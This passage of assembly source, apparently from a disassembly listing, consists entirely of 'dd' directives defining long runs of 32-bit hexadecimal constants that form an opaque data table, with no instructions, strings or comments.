		dd 7B115802h, 40692630h, 62E2F01Ch, 15E31C46h, 0B459A46Ah
		dd 61180379h, 1079896h,	0F212E680h, 0CCFE052Eh,	7E246288h
		dd 884F5C74h, 0B2A8D94h, 0A8A9F2B1h, 605994B2h,	9E180159h
		dd 80DF9800h, 7CCEFA60h
		dd 80FD5D4Bh, 5C9ABF00h, 80FF13BBh, 0EE895F00h,	703483DEh
		dd 0E71413FCh, 0AE0C0BC1h, 0D939011h, 69E26832h, 3A51C30h
		dd 6167D5E5h, 0D90250BAh, 5FFB7E5Ch, 1DB889A3h,	81071174h
		dd 815B20A8h, 5C60B9DDh, 72E080C5h, 0B29381C0h,	0F0FB5D25h
		dd 0EB920C31h, 347051CDh, 0F6332908h, 0BA863E20h, 40586EFCh
		dd 0D09F4600h, 65FDAAB2h, 18649291h, 59578862h,	0D0A4B67Ch
		dd 61FCD71h, 5F98BF67h,	0F35A521h, 0E7F9891Fh, 0DDBE5DA0h
		dd 340EAFD7h, 0BD116FCDh, 54025034h, 67107CABh,	6005444Ch
		dd 153C9161h, 0F0F9496Bh, 0C5434E0Ah, 0F15E01FEh, 0E1651994h
		dd 64EBFC89h, 9167CB04h, 30996C1Ch, 1E20032h, 24C2530h
		dd 0E46DB5Ch, 0E881A71Bh, 99EB5F3h, 5B28C72h, 2C65930h
		dd 7FA277D6h, 0D3E1C5D0h, 336521A6h, 3074B2C8h,	3700AF14h
		dd 0CF5BE503h, 0DBD7C66h, 1B2231B5h, 0A78823F8h, 34FC0E8h
		dd 9100DE0Ch, 108ACDC5h, 14AD142Fh, 84B145F8h, 0DD218D09h
		dd 0C91249Dh, 0E9788F80h, 0C0079D7Bh, 0B5616DD8h, 138ED93Ch
		dd 4DCCACBh, 987B7C2Ch,	6A0BF444h, 9D72C7EFh, 800311D8h
		dd 0F8B37FB7h, 193060F7h, 94A7B0CFh, 132E6A03h,	0F2A3D292h
		dd 335C487Ch, 18E20Eh, 0BC097DF8h, 0D24C3E92h, 0B2013C70h
		dd 1D65F777h, 0F435D906h, 6AA28C33h, 0CD7630h, 3E81C36Ch
		dd 72B1407Ch, 5891E7E0h, 2543FD07h, 16AF8641h, 0BC23C062h
		dd 0E42ECE0Fh, 54CE9AF7h, 2EC6B600h, 87269B1Dh,	10FC6F48h
		dd 501F5D35h, 0DC80E7CBh, 7BD28DFEh, 0E5DD48h, 71C11C8Ah
		dd 47C250Dh, 21F30841h,	0BA80809Fh, 784C1AF4h, 0EC2F1628h
		dd 19D483h, 0D0CE7171h,	740D91Eh, 0B5FA1601h, 34D8FB58h
		dd 89AF1F3h, 69382101h,	77510F0h, 11AC8495h, 82106900h
		dd 1507B68h, 0B6910072h, 2F254FEFh, 90138DFDh, 7448D90Fh
		dd 0B6C28B74h, 0F8D05011h, 5A803272h, 0BD5A6Eh,	60C16684h
		dd 0A1D4C5B6h, 0F9151FDCh, 6DF5B440h, 9EDCB749h, 200C9D34h
		dd 0A008D55Ah, 615A8CB3h, 880026B1h, 346B604h, 7018EBDh
		dd 325E0D60h, 9EE400A0h, 5924F2D5h, 9130B020h, 0ECB5C271h
		dd 7CE496ABh, 2A0F6646h, 6BE4349Eh, 0FD14E0C3h,	93692005h
		dd 74D70F47h, 681648A5h, 8CA6B888h, 0CE35AB05h,	0E4A29BE8h
		dd 3543ACC3h, 7D6A4A88h, 3BD6DA00h, 1D12D528h, 0F47E3EB3h
		dd 878077B0h, 524F3055h, 0C038CC48h, 0BAA9D4BBh, 989EE490h
		dd 1A3EF50h, 0E6E02EC9h, 803916CEh, 367B93C0h, 485A4392h
		dd 0FF415475h, 0C422706Ch, 0A19E63Ah, 0F015E486h, 7BD13829h
		dd 0B5028B18h, 488F5109h, 0C34CC8FAh, 0C44503F9h, 0D1C963A7h
		dd 1DA985B8h, 7707602h,	79A1C5B2h, 71E02960h, 2A186Eh
		dd 0B7D60DFCh, 58A0CAB8h, 147C9104h, 0C492C247h, 0F8A0A33Fh
		dd 10C78528h, 1455E5B0h, 0E3E8DC9Fh, 6435420Fh,	44A243E8h
		dd 353A91C0h, 0AC0015A6h, 92CFE773h, 0A082EDFBh, 0C153ACh
		dd 193CEFB5h, 386561AEh, 5091E17Ch, 6830A188h, 0F74205D6h
		dd 687022C2h, 2EC1AF20h, 16E300A1h, 0B4DA5CE5h,	28A0325Dh
		dd 0B207E006h, 2E7C9CF0h, 0F845E3B2h, 64573044h, 0FAFB60B1h
		dd 0D846A400h, 0FC0DE94Fh, 12E8F29Ch, 0FD4AEEh,	4872AB10h
		dd 28179313h, 0C2FB14Eh, 0C0726C10h, 0EE9ECC2Dh, 20BF4D3h
		dd 0E3923839h, 0E10A7A65h, 840FE12h, 33B294A8h,	0BA073E92h
		dd 9D43E2Ah, 0C6475DA7h, 10600C6Dh, 0FA2EDD0Ah,	4CC0A0E1h
		dd 0E5220218h, 709062BEh, 0B2D29120h, 29FD0937h, 44E5B1FFh
		dd 1870FFC2h, 5607319Dh, 0EEC7DD06h, 4CA42980h,	8AA8A0F6h
		dd 7C8C81FEh, 48488918h, 789D62C0h, 96201CBEh, 5EF402Ah
		dd 661E843h, 0D422B205h, 0C8E00988h, 0A8765CE1h, 78C09F8h
		dd 8EDB14C4h, 26BFE168h, 0CEF02042h, 4810C625h,	0C505CDD8h
		dd 0F2974DA0h, 12490068h, 4F0BEE2Dh, 5898489Ah,	148C63BCh
		dd 88A59DFAh, 170DF610h, 58307E7Ch, 2CE5EC8h, 0B461A797h
		dd 70C70A4Eh, 946076C4h, 40748541h, 0C7423201h,	60D314E4h
		dd 64141E2Bh, 0B8172F28h, 0A807F11h, 31490715h,	73E27412h
		dd 244D2CC8h, 2B8A23Fh,	70124B7Dh, 0D2E40209h, 0F2A4480Fh
		dd 30880757h, 34CDBF20h, 88E4CE10h, 0B019C007h,	0D7066306h
		dd 64431C7Bh, 0BE2AFED8h, 5D17DCD4h, 9AACA506h,	0B916113h
		dd 5CA18471h, 5BFEECh, 24667740h, 12100931h, 6218E086h
		dd 41F0548Ah, 26BF72B2h, 74AA02A0h, 59B692B8h, 0A2486020h
		dd 4A60D174h, 447D188Ch, 0CDCA0146h, 0EEE93DACh, 470289Eh
		dd 615071F0h, 0B922F0ACh, 2C1FCC98h, 0B2017BCAh, 0CE45CC2Ah
		dd 2E841FC4h, 11346C72h, 14386488h, 284B0F5Fh, 34FB8682h
		dd 0F2B34849h, 0F7A7B620h, 57B02585h, 0FBDED848h, 0CDC9280h
		dd 30F3F92Eh, 56257C31h, 2FC0664Eh, 0DC9D07B0h,	0DC807791h
		dd 7231992Dh, 8900017Dh, 93BDD0BFh, 30FCADD1h, 25793A19h
		dd 770027CBh, 9F26DF46h, 9A554943h, 9AB24BC0h, 7A44C074h
		dd 25FCE1E4h, 0A06A6C1Ah, 7795C51h, 84049D18h, 7BCF6202h
		dd 822A8C83h, 0A00CDAEEh, 80797634h, 3E60ED78h,	9D3DA171h
		dd 4B91167Ch, 0C1A05DD6h, 3043F913h, 0B18828D1h, 620DBDB6h
		dd 307AE2C0h, 6C1DDBD2h, 74C0703Ah, 946204F5h, 4BF0926Fh
		dd 6C008D86h, 436BBC54h, 67E30172h, 0EB1E2B49h,	4B1F82E4h
		dd 4E208D28h, 0C97D8814h, 0C001C504h, 0A8BAB72Ch, 0B098F498h
		dd 4B6D9520h, 4B408CD0h, 63EFF600h, 0CEE87F8Fh,	0F817403Eh
		dd 3196D1Bh, 4F86E188h,	11A318Ah, 8980BBE8h, 0D7C8C546h
		dd 1005AC34h, 0EA5C444Fh, 5183BC1Fh, 0F1833ABFh, 0C2A231Ch
		dd 0BA9EAD58h, 0D001DCBBh, 0AAF7A92Eh, 0B4806C73h, 4E1F2EC8h
		dd 21FD6A02h, 84ABE573h, 0AD60C4B8h, 9227B774h,	8496AEh
		dd 774A549h, 0E6FE4359h, 202F194Ah, 1E0B6623h, 0FB1C027Dh
		dd 0B480A6Eh, 0ACE767BAh, 66630B64h, 0E4EB7298h, 46609C09h
		dd 0F558839Ah, 2FAF899Eh, 4824402Ah, 6E986B3Fh,	0A19CA000h
		dd 2DA7BFAh, 0C651C79h,	1FEBC0ABh, 2944848Bh, 1A994902h
		dd 47615AF4h, 606CC450h, 526057h, 3438FE40h, 0EB8FA50Ch
		dd 0DC16F55Eh, 6B2EC804h, 764E0701h, 5A188066h,	30711FF6h
		dd 79D4B1C6h, 0D81879h,	80EFC1C7h, 65FCBA8Fh, 0C8FE493Dh
		dd 3EEE0844h, 8AC2606h,	6A109243h, 0CAE6D003h, 1FA0D5A3h
		dd 6C4A1CACh, 80D124CFh, 0D042CAC0h, 43007773h,	0C83D6D3Eh
		dd 0B1295AFh, 0A32F970Ah, 2EC778B0h, 0F2F74012h, 0B10040CBh
		dd 0EBB02EBFh, 8CFA5BA4h, 0C80560F0h, 96EC7E18h, 6C5B4CB1h
		dd 6BA1A8C1h, 0EEDC70F5h, 2AC2E140h, 29C987Eh, 27FDB5E3h
		dd 0DC74A8A0h, 0F9B8A540h, 4A6500C6h, 0E409D028h, 91168060h
		dd 2F02A285h, 0D9749362h, 0B0443A68h, 0E8F8775Ch, 88008C64h
		dd 876E6B32h, 8D5B21Ch,	695A9D8Fh, 7F072B80h, 72411F77h
		dd 0B15D178Eh, 77886F72h, 96BEC20Eh, 2DD021D4h,	16AD874Fh
		dd 66915097h, 0BA336B83h, 40743BF9h, 7E4369D4h,	0A01F534Bh
		dd 3A8F03E2h, 83A1B931h, 96E4D0F0h, 74AD500h, 1C24F216h
		dd 63E848BAh, 0A672C713h, 3FACE070h, 0B8CD01E0h, 0A23D4041h
		dd 6C8F07Fh, 67FCB205h,	0F48ED991h, 0CBC003C8h,	0B6B360E8h
		dd 7B808224h, 9C08E43Fh, 3A901026h, 90868C05h, 0E884C473h
		dd 8C77BC54h, 1CD71000h, 0CF023CDBh, 0CCC04CA6h, 0A012FB2Dh
		dd 918D45Ch, 0B1C64471h
		dd 187979E4h, 0DEA20F49h, 0FF05B8CAh, 71C8D019h, 9B027C36h
		dd 22DA4B01h, 1AE8C062h, 73C987C5h, 0EBA5093Ch,	0B88D5884h
		dd 7CB31EF4h, 18A1F952h, 8F80302Ah, 6B4021F3h, 906211D2h
		dd 5A8D096Fh, 3020F8DCh, 0AB31074Bh, 5281DEFh, 0C94D8C2Ch
		dd 0FAB8ACh, 0A4FB65Bh,	0B292F8D1h, 910F3206h, 296657h
		dd 0A9F781F9h, 8AC39353h, 1A090B4Ch, 5E216E7Ch,	0CFD01620h
		dd 0AB41040h, 0B20CF292h, 80B03178h, 0BF0B79E0h, 43CA3CDh
		dd 8DFD3B53h, 380CECA4h, 7AAA5E6h, 50F2F2FCh, 76687E07h
		dd 7E007446h, 8791222Ah, 280064AFh, 0EFB5F469h,	25D7824h
		dd 93634C7Dh, 0FC5E2EFDh, 0F57F05F4h, 0B2C2A96Dh, 9DBC2270h
		dd 0B90E0C37h, 0FA807DDBh, 70E25D7Ch, 8A32D5Ah,	7A64D047h
		dd 23A72D60h, 1C7C4704h, 0A0FD4F9Bh, 0DC39F90Bh, 0D0F4A064h
		dd 6F0250Bh, 13401248h,	0B247C414h, 490CB04Dh, 43488F6Eh
		dd 28804BA6h, 0D3C03EF4h, 0E774F660h, 0BC6C0C50h, 553E023Ch
		dd 66CEE761h, 0F21D1C78h, 3CAE5213h, 910C9727h,	0A0C7807Ch
		dd 5E4BFEB6h, 0A06BC6h,	0FCC503E4h, 5C1B3Eh, 0F927F010h
		dd 0D45A2A43h, 0EF2E7570h, 58B9303Dh, 4EAE80ACh, 7322529Eh
		dd 493C9CEBh, 7ACE081h,	61A700D9h, 408C9EB7h, 6355C8DFh
		dd 85B07B58h, 0C05EFF19h, 43654840h, 82634Dh, 70DE909Eh
		dd 0C33376FCh, 0B032CAF2h, 25535037h, 12A6C1E3h, 13E0746Ch
		dd 0B304549Ah, 7085F60Ah, 46F41A01h, 37C0687Dh,	6B118842h
		dd 98E94A5Ah, 66F28872h, 0E0686C30h, 271DFE4h, 9E91E36Fh
		dd 0FF1C3400h, 5EB7837Ch, 0B02312C5h, 4C13B594h, 0B8C89EDFh
		dd 5A29F8F8h, 0D4BC8116h, 0B8342C97h, 347D8C6Dh, 0A119E01h
		dd 6C4E5EEDh, 0B6CC57FDh, 0DE8B014Ch, 875189B5h, 0D6F431C0h
		dd 31C0FE27h, 4B3829A5h, 0AD904317h, 0E0F8C5E4h, 3D00A0D4h
		dd 0AD9825Eh, 1DBCA44h,	8519F4BFh, 6B1D308Ah, 0F0A64452h
		dd 0FDA182E0h, 7C620609h, 3878D172h, 9C01FCA5h,	435637Eh
		dd 180DCC0h, 68D98AD9h,	0F8187959h, 70A86E00h, 0EEF2B731h
		dd 0B443B57h, 0C460DA5h, 76B5C880h, 378DC98h, 0B83795h
		dd 82EEDCF0h, 6D10FD58h, 0C585B3Dh, 13394071h, 20489F24h
		dd 2306F340h, 72912F8Fh, 0D74CB000h, 0C0F54BB4h, 0B0B639EEh
		dd 0D8B725h, 18BA2D64h,	0FA021BA4h, 6133234Dh, 8B585EB8h
		dd 2462F85Bh, 81583873h, 14A3262Ah, 53BF08C4h, 2C07702Bh
		dd 37B9D4E7h, 618C38B4h, 6E716A5Ah, 0C23A0205h,	0AC0F4393h
		dd 802122Dh, 51763010h,	60F47BB8h, 0EF8E545h, 4E28945Ch
		dd 1A022A8Eh, 14D1AA21h, 4180A79h, 148B4A05h, 2CB4A42Fh
		dd 620A40DEh, 0E1679132h, 80F47E19h, 9DDEC0CFh,	0BDF403C7h
		dd 89623D00h, 0CEE926BCh, 18DD488Eh, 946AAC12h,	0B82CE9D8h
		dd 0CA64032Bh, 94FE80DCh, 0CBA804DDh, 0C84CE07Ah, 96634A0Bh
		dd 0F29C206Bh, 267421Fh, 0E6E8E122h, 0B45403A2h, 0BC1F3893h
		dd 0C85B51D0h, 6CBB3524h, 0FCC3F0h, 0F72CB220h,	56D7C944h
		dd 30877C04h, 60B17EFDh, 0A0507BD9h, 0F4E8F464h, 0CDD30EBCh
		dd 99000BC8h, 0E4BA0C87h, 30590E31h, 0C23ADAEh,	0F300CA2h
		dd 0C4311FA7h, 0F9E9408Ah, 58BD6DF7h, 8626E490h, 0CE3DA4C9h
		dd 64945403h, 0FD980D7Ah, 2F49CBF2h, 923FC2Fh, 0AA1A1800h
		dd 38602FF0h, 35AEF8FFh, 0B1286164h, 6E0C2044h,	691A3440h
		dd 0E4C571F3h, 3F6306E4h, 679389A8h, 8092375Eh,	718451C6h
		dd 17AC187Fh, 0C28BCD62h, 14712A1Ch, 57180579h,	8F690902h
		dd 0DA89BDEBh, 1CA095A8h, 0D355D72Dh, 0D0327C24h, 547BDEh
		dd 3A102DB5h, 28419512h, 4B258DB0h, 3FE4419Eh, 0ECC0B425h
		dd 2A49A65h, 0F6C81187h, 0A0DB77DCh, 358B5A5h, 3716D0A1h
		dd 0A09F9940h, 1658873Dh, 0AC5006B1h, 436BEC30h, 5AC50072h
		dd 3EBD8ADAh, 17CD05D4h, 0C2B29313h, 0A840ACF6h, 1DBD6D5Ah
		dd 71018830h, 8C6C2160h, 7C47008Bh, 0E6E94E6Dh,	68940E2Ah
		dd 134F4400h, 17E3CB94h, 435E4B64h, 1F147C8Ch, 0FDB6D902h
		dd 200F491Eh, 2C1BE328h, 8905EEF6h, 24374F2h, 3204E8A8h
		dd 74F86FCh, 907917A8h,	0E7529Ch, 0DC35036h, 99A4967Bh
		dd 0BA74FD03h, 0B2EF2F8h, 0B1B0C729h, 6C45045h,	5C9C7760h
		dd 7EE6CF04h, 7C093523h, 78A02CC4h, 0F7076884h,	0B12C4BF8h
		dd 67C0CD19h, 5AA6CF9Dh, 3E005965h, 0EB1FD934h,	6D76070h
		dd 6BF81E67h, 22036854h, 5A8D7CCAh, 0A5310062h,	0E85898C9h
		dd 0C500CB20h, 5509987h, 265793F7h, 805468B6h, 0F248ACDh
		dd 0EE27F8CAh, 0B6584633h, 64465E70h, 7AFF7B07h, 0CC90A9DEh
		dd 1503E78Ch, 0A12A96F3h, 5A3899B8h, 0C002B461h, 2080290Fh
		dd 1676939Bh, 0AD389704h, 4781D292h, 182469E3h,	95622ECDh
		dd 1CF240CCh, 6103DA51h, 88BC48DBh, 0EDB1E230h,	8B0AC088h
		dd 100075C0h, 67E1F74Ah, 187C9427h, 71793258h, 23001D38h
		dd 59C77418h, 2F79ACDh,	7DFA0429h, 0E8E86E2Ch, 64F0F6CAh
		dd 46A4819Fh, 8E157113h, 0C0688878h, 9B4F6616h,	25039D7Dh
		dd 0C5857CF1h, 0B06A54E6h, 0D1AC99ACh, 9691807h, 11CF86C6h
		dd 63B3C402h, 6CFC7B04h, 0C854CE4Fh, 1713C00Ch,	67017A88h
		dd 6FFBBA4Eh, 0E028956Eh, 3ECEE604h, 64A10BE3h,	4C30598h
		dd 830EDD6Eh, 92A8CFDDh, 1CBB1376h, 0E36E907Bh,	119E286h
		dd 0A609035Fh, 68F24391h, 20705054h, 12361580h,	17C1B8F9h
		dd 1186E1Ch, 6247F9B3h,	35F0B5FBh, 12340EDDh, 0AB40D848h
		dd 80363289h, 60BB9338h, 0A1BEE1F8h, 8DC14FFDh,	0C01C3AECh
		dd 7FA23FC1h, 0F028F748h, 19EF2D00h, 96D84788h,	3AEAC200h
		dd 32DED057h, 0B83F62AAh, 90F4EC1Ah, 6856E8B1h,	7787E048h
		dd 13F81389h, 4AF409B7h, 36B2C841h, 2EDDE080h, 22189068h
		dd 0EB005BC3h, 73DCE7AFh, 0BA22FCBAh, 250D0ACCh, 80CC7E57h
		dd 5AAAC636h, 0EA0FC48Bh, 0C0828378h, 0B6A30AFh, 473E077Ah
		dd 5AF4BA91h, 30C22720h, 0E11449Fh, 321F8881h, 0E063E9ABh
		dd 3135448Dh, 0A0C376E8h, 56D082A3h, 3E4B41D8h,	48B20784h
		dd 30FC4982h, 0AE004439h, 141144B2h, 590D6A5Ch,	30602243h
		dd 0F2C0387Fh, 0A501820h, 7A0314E2h, 8DEB89D0h,	0ED2DE854h
		dd 0E52AC178h, 0B283CCE3h, 0A1074E30h, 2DD1B6CEh, 0F82E5542h
		dd 0E2C0B313h, 7CB3069h, 0D8D04905h, 68FD6DFCh,	1FCEEE12h
		dd 0B1697B9h, 3C7AEF88h, 65F73700h, 34D9109Dh, 0B03227B5h
		dd 383DA011h, 972A0DD4h, 0AC084154h, 0A4E8E0A1h, 0F0FD2CC4h
		dd 0B0CD47D4h, 8D317497h, 148C32FDh, 8F98361Ah,	0B8C4C5D5h
		dd 0A4C82C27h, 0F02017CCh, 0EE17E464h, 54E315EAh, 403264B2h
		dd 297BF143h, 28D8FBFDh, 6FF32084h, 31603030h, 3537C2h
		dd 9FFAC4B3h, 7E31758Fh, 7617C500h, 0A9B88B40h,	0C98A4FB2h
		dd 72E6C178h, 7A607A00h, 0EDBE4349h, 2831030Ah,	65FD676Dh
		dd 0B2DC91A5h, 5FF068B5h, 34C15C9Ah, 0C1486CE1h, 0A4536EE5h
		dd 9D41D830h, 0B7FA0083h, 0ADCDDD5Ah, 0B4279B36h, 44A0E42Ah
		dd 0E6955BB2h, 5E04B604h, 7C18FDh, 8DD6B4CAh, 923AA37Fh
		dd 2FB9C40Ch, 0F59161h,	0FFB7B3B1h, 0F5F5BB4h, 0D6281A1Ch
		dd 0AE1584C3h, 4280808Fh, 5CBF5CAAh, 6359E20Ch,	0FB0705F1h
		dd 7F51B262h, 0AD03A27h, 3BDD6D1Dh, 1BA4F21Eh, 0CB66823Ch
		dd 104130FAh, 28D1E241h, 0C5187B79h, 0B3CE3400h, 1F8380D9h
		dd 5C24B710h, 298A206Ch
		dd 35ED094Ch, 50525A02h, 0C4CB3200h, 0FF333FC6h, 19606359h
		dd 0E9E0BCD4h, 0F000C844h, 3D6DA726h, 47D8F86h,	0E66349BFh
		dd 0B8C0A929h, 4E90B07Dh, 0FE588816h, 4E7C8C40h, 0C874CB2Eh
		dd 47E4C306h, 221A029Fh, 58C438D8h, 0D502756Ah,	0B0D9295Ah
		dd 79186579h, 91949D9Fh, 0B73897Dh, 48CC0553h, 0FE00FCACh
		dd 41709437h, 0D84EE55Ah, 83C000DAh, 261233D8h,	3C905A5Ah
		dd 1F678782h, 54DF11h, 17F2E03Ah, 0E64A5218h, 0CF93495h
		dd 650E71B8h, 17C19D9h,	70DB5B39h, 996806Ch, 0DCE23AACh
		dd 6453608Bh, 0C45E970h, 0E6C7860Fh, 7C80E0B0h,	0C8400268h
		dd 539CB179h, 701076C3h, 1504DE26h, 89104BA2h, 2081FC24h
		dd 9BCF3718h, 800FFA48h, 0B004EBABh, 512AEFF8h,	0D4D07CD2h
		dd 7C4CB990h, 9902DA80h, 8F0B8C40h, 0C87BFB35h,	43F30E94h
		dd 796D08E1h, 0CC45CB03h, 0B2606864h, 0AD00B81Ah, 844AFBACh
		dd 172D4BFDh, 6F763011h, 0FB3F003Ch, 42C2943Bh,	2D0302D7h
		dd 887CCD16h, 8EBF8048h, 0EC05Eh, 0A630A086h, 801E0h, 278AB3C7h
		dd 7E5DD0AAh, 6CCF8400h, 44FA5C81h, 0A17C070Eh,	0C02A044Ch
		dd 811FFBAh, 20A02BB8h,	5C0D8714h, 9ABD6CBEh, 0EFBD0h
		dd 53857873h, 0B4688C01h, 5DF4B10Ch, 0CA7285Bh,	80150C5Ch
		dd 36006139h, 300AA67Dh, 660268DAh, 21770820h, 0E07DC3A0h
		dd 0B592C01Fh, 37672307h, 564A45B0h, 60DA306Ah,	0B4838128h
		dd 0ECD9B9C0h, 7D096CEh, 9076B3ADh, 0BE9B0354h,	0F52F81D1h
		dd 4C07D26Dh, 0F4039DA0h, 0BA400CACh, 5908C4EBh, 0B6A721C0h
		dd 72F7259Dh, 2A3F00E2h, 60E5C154h, 1C01DAA3h, 0B1B357CEh
		dd 0B1804DEAh, 620FD708h, 180E61E9h, 0A70239F1h, 60403354h
		dd 492CBCAh, 0E08C687Fh, 0F61E4038h, 0ED7D6DDh,	0A1FB82D4h
		dd 0E0620DA6h, 0A7CF081Dh, 10055073h, 0B14A28h,	0F4C27D45h
		dd 1899929Ch, 50B6505Eh, 0A36C3869h, 8C2CF0C1h,	69DB904h
		dd 6662C4F4h, 9DB1AC20h, 16100078h, 0DC520B50h,	777163E2h
		dd 3D0C79B8h, 80D2C2D6h, 590D6983h, 84AF1B01h, 0DED180BDh
		dd 373640A6h, 60650C98h, 0C508A83Fh, 9EFC21C0h,	89E740h
		dd 414D7AB8h, 61696BBCh, 9C080214h, 8CC7B828h, 4DB92300h
		dd 71581C2Dh, 0C5D490Ch, 4350200h, 0F57DE51Dh, 0FE103861h
		dd 21817028h, 0A8FC0DF7h, 0DD80CC7Fh, 13005976h, 0FFD4E787h
		dd 0FF5DF72h, 63E30E36h, 0F848C6Ah, 0F38544A2h,	23CC013Eh
		dd 910E21E2h, 0A180B4B8h, 80373940h, 0F9C4448Ch, 0C6033998h
		dd 2EC1EB79h, 0CF69E804h, 206A4927h, 0E50EF601h, 0D875C27Eh
		dd 0A378A41Dh, 0DDEBA605h, 0C405C906h, 0FC44B9ACh, 3232413Bh
		dd 0E09DBB30h, 229446F4h, 0B3AA0165h, 47EEE39Dh, 0D0F7D92Ah
		dd 1348A7C5h, 0F6C880F0h, 2805AEh, 6D4C10Eh, 0ADE7A12Fh
		dd 1D547149h, 0F8A08FD7h, 20CA3B7h, 0F601AEB0h,	0D900C54Ah
		dd 32C11E07h, 2BA84EFFh, 109DBA30h, 0E0CCF407h,	29DB2ABh
		dd 763B6A30h, 6C623598h, 0C711BC1Dh, 8545FD80h,	0DD39E623h
		dd 0C0EA24F5h, 476BE582h, 0A0F48A88h, 3584674h,	0A2D5F35Eh
		dd 0DB5001D6h, 53D259A8h, 302E02CCh, 4119DB7h, 5A88B4F4h
		dd 9DAFAE80h, 9C0B351h,	6B8B63E5h, 36DEC421h, 3E6900BBh
		dd 0D831D043h, 722AC0DEh, 0B43F8FB3h, 2564DB0Fh, 210C2C1Eh
		dd 4B430C81h, 13508A5Fh, 0E2197060h, 1407B89h, 0A6E861A3h
		dd 0F0971826h, 0DC00E4F6h, 0CA999582h, 2ADDB8Ah, 0E70A8B89h
		dd 0FC885C83h, 8BB011C4h, 370182A5h, 0CAC4B1A0h, 409DFD10h
		dd 3747D49h, 1C043F83h,	0CAC2C099h, 0EC0F0010h,	0AC576D3Ah
		dd 0D771FC8Bh, 2C4DFD24h, 0CBCF5203h, 1F780467h, 8E9B08A2h
		dd 0C7CB8804h, 2BEC0038h, 0A30C0439h, 21BA85C5h, 0DDF30ABEh
		dd 16B4D5AEh, 29160906h, 53C2C90h, 0E3B82E00h, 0DB854902h
		dd 444874FAh, 0D001D74h, 2C5952Eh, 6083668Dh, 27B859B2h
		dd 1900D745h, 3F5514FCh, 0C6E608Fh, 6199B737h, 0DF100EE0h
		dd 0EF063D3Bh, 187045E7h, 68D9B101h, 3746967Ah,	989165D5h
		dd 2E04809Eh, 8C0AE3B7h, 21E7244h, 91972E0Ch, 18C996E1h
		dd 3BEB106Ah, 57DB1A79h, 589D5890h, 0E4815911h,	0C9643FADh
		dd 0C6BC412h, 10D08C60h, 3061E7FDh, 5D315C97h, 8200F73Bh
		dd 0B81B2E20h, 61D5A1h,	3E4D43CAh, 5F40ED57h, 221A3F00h
		dd 0F1933B9Eh, 0ECB11230h, 8C584682h, 0C0F1D9E8h, 69602A9Dh
		dd 21CEF711h, 41EE26EDh, 9B98005Ah, 16C60212h, 5F0F90Fh
		dd 809C35BEh, 0E3BA2E07h, 224843F2h, 0F1B0077h,	13C7192Eh
		dd 0A022F3Ah, 0B69A23Ch, 29489ABh, 126E831Ch, 279AA005h
		dd 0BB2E0030h, 0CCA72AE3h, 2E082200h, 989A7FDh,	0B3F2D5F5h
		dd 4B993C00h, 58C366ABh, 186F0671h, 0F9CE8331h,	4D033E89h
		dd 1E9A72E7h, 6A009F06h, 1F205BAh, 0DF33CE8Ah, 0EE55E89Bh
		dd 180DC0E1h, 0A57D0835h, 79C4380Ah, 7D2DC040h,	1B0017B3h
		dd 8D07EBCBh, 2E6A1DA1h, 0A84C3BEFh, 4339205Ch,	0AFDF1C11h
		dd 31EF077Ch, 8306A85Ch, 0B870860h, 20954C57h, 54B5F078h
		dd 456B80FCh, 0D8A2EC65h, 0BD81C906h, 6046176Dh, 860F25D0h
		dd 0DC0013Ch, 2960F1BFh, 1AE530B5h, 8B61F928h, 1ED9D1Ah
		dd 0B87BDD10h, 58364D58h, 2503CE80h, 0E381F947h, 0F85C7786h
		dd 0A4CF009Ah, 0FDB0B74h, 1A606B85h, 0C156CD7Dh, 0CC97AB2Dh
		dd 0B5188B90h, 0F5BA2899h, 0C5BD1483h, 0EE6392EEh, 39180B84h
		dd 810B4FE9h, 0DBEA02C6h, 85C76122h, 0C2AD188Dh, 25BF17Fh
		dd 1D7D8D29h, 172ECBA6h, 0A5BD8B1Ch, 84218420h,	1FE9FD6h
		dd 0BC60A0D6h, 85C5AE8Dh, 601C4424h, 0E19C7F2h,	0EA5CD5F8h
		dd 1EBEF140h, 4B5AEF59h, 0D2D40ABh, 57922707h, 3ABE6600h
		dd 0FF2381F1h, 0DDCEE5FEh, 9A58F3DBh, 93B03873h, 21B58986h
		dd 8B48C62Eh, 0DB8C1600h, 0C06D9AFAh, 0F1570E5Ah, 9951089h
		dd 28F63E31h, 0B35BF004h, 23133BBEh, 0DC161Ch, 0D70DD0DEh
		dd 0A8064F34h, 68D95FFh, 3056B766h, 0FFF25AD6h,	9B827B40h
		dd 7DC77F8h, 9358E5BEh,	0EB8A507Bh, 5C06A403h, 11E8BF6Bh
		dd 735A002Fh, 200C3AF0h, 0DC00A64Ah, 8F18521Fh,	0F5D5FE5h
		dd 50905EFBh, 5520852h,	18A0BF81h, 31ED1334h, 6C8FE740h
		dd 5058165Ah, 3F8BAA90h, 32C71B88h, 0AFF272E0h,	0BAC80003h
		dd 0F9FE8B66h, 6EF3EAE9h, 0C8BDCBF9h, 0E2392797h, 0F7D32D78h
		dd 0E487BD12h, 0B01298CDh, 3375BD44h, 8E70E604h, 0C01A8849h
		dd 9E3D6FB4h, 0FD7BE816h, 3AEC90AAh, 850096DFh,	0A61D1BCBh
		dd 97E49BADh, 0AAD8C085h, 15E23CE2h, 48516E30h,	0BF02A8F9h
		dd 0BA5FD313h, 9D102466h, 8B123189h, 23ED3AC3h,	51290214h
		dd 53DD8F0Fh, 0AD368039h, 5E1C17ABh, 4E8C101h, 0DE9BD33h
		dd 0F7667280h, 65B52BE2h, 0C0120E6Eh, 6DE681D8h, 2D6802B3h
		dd 241C8950h, 1D441747h, 3D4CB460h, 9AC76D0Fh, 671E4034h
		dd 59F5BD23h, 0FF163113h, 0F84C22B5h, 1B31B240h, 73DDFAFDh
		dd 526E5883h, 7E127590h, 180A5E9Fh, 220011E9h, 48FD3C2Ah
		dd 659B0055h, 8193BEE2h, 0FE021295h, 327CF8BAh,	1D2B42F3h
		dd 0C01C11F5h, 0FC558B76h, 216F0428h, 4009E903h, 0A6236194h
		dd 34A409DBh, 2C22DF7Ah, 0A340F9B7h, 61783CFBh,	2458316h
		dd 0AC02817Bh, 0E35760DEh, 0D9693840h, 74B55E92h, 1702D623h
		dd 748EDB40h, 0D4DAD74Fh, 0CF55400h, 0BF7D3EE5h, 4E910151h
		dd 0A9B5012Ah
		dd 31DF4502h, 800EE871h, 59F7440Bh, 17EEAE61h, 0B8AAEF74h
		dd 0DA7C0430h, 80805FFCh, 6A65BD2Bh, 0AD584415h, 8059B5DDh
		dd 9F4766FCh, 9D09E164h, 28410A75h, 465C2877h, 56510119h
		dd 0A7860BA8h, 9505DA55h, 0D36F58F5h, 0B4B07E02h, 70608BF1h
